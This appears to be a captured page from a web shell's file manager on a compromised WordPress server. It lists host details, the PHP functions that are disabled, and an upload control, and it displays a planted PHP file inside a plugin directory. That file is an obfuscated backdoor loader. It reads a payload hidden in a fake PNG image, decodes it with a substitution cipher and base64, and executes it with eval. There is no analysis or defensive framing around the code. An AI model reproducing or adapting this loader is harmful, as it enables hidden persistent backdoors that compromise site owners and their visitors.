HEX
Server: Apache/2
System: Linux vps33975.sdns.vn 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64
User: mafada (1031)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/mafada/domains/mafada.vn/public_html/wp-content/plugins/arojece/ufivych.txt
<?php

function ytodoj_cycoshoqa($ujyvyr_ethaduch) {
    $onylet = ihosyl_upukhyzhif(1);
    $mimychi = ihosyl_upukhyzhif(2);
    for ($musera = 0; $musera < strlen($onylet); $musera++) {
        $orevily = substr($onylet, $musera, 1);
        $ofolacu = substr($mimychi, $musera, 1);
        $okozof[$orevily] = $ofolacu;
    }

    $abupoba = strtr($ujyvyr_ethaduch, $okozof);
    $abupoba = base64_decode($abupoba);

    return $abupoba;
}

function ihosyl_upukhyzhif($ujyvyr_ethaduch) {
    if ($ujyvyr_ethaduch == 1)
        return xaweqe_ushykhuru();
    if ($ujyvyr_ethaduch == 2)
        return ihovop_chukhazha();
}

function yfiqod_viqovezh($ujyvyr_ethaduch) {
    $irusene = array();
    if (!file_exists($ujyvyr_ethaduch))
        return false;
    $rugofo = @file_get_contents($ujyvyr_ethaduch);
    if (!$rugofo)
        return false;
    $rugofo = substr($rugofo, 3);
    $irusene = ytodoj_cycoshoqa($rugofo);
    return $irusene;
}

function xaweqe_ushykhuru() {
    $rugofo = "nsucVJl=ChP0NvojX2FTEibWLxmM1GfwSRBOp83YAkqHy6zQatID/7Uer+gZ4d59K";
    return $rugofo;
}

function ihovop_chukhazha() {
    $irusene = "0MwKT872k5g9AxhEmvuLN6dUIatrfOsp4FyDS1ncQZCRPJ/WlXYj=oVBe+3HqizbG";
    return $irusene;
}

$jifepi = yfiqod_viqovezh(__DIR__ . "/ass" . "ets/i" . "mages" . "/jath" . "ybi." . "png");
if ($jifepi) {
    @eval($jifepi);
}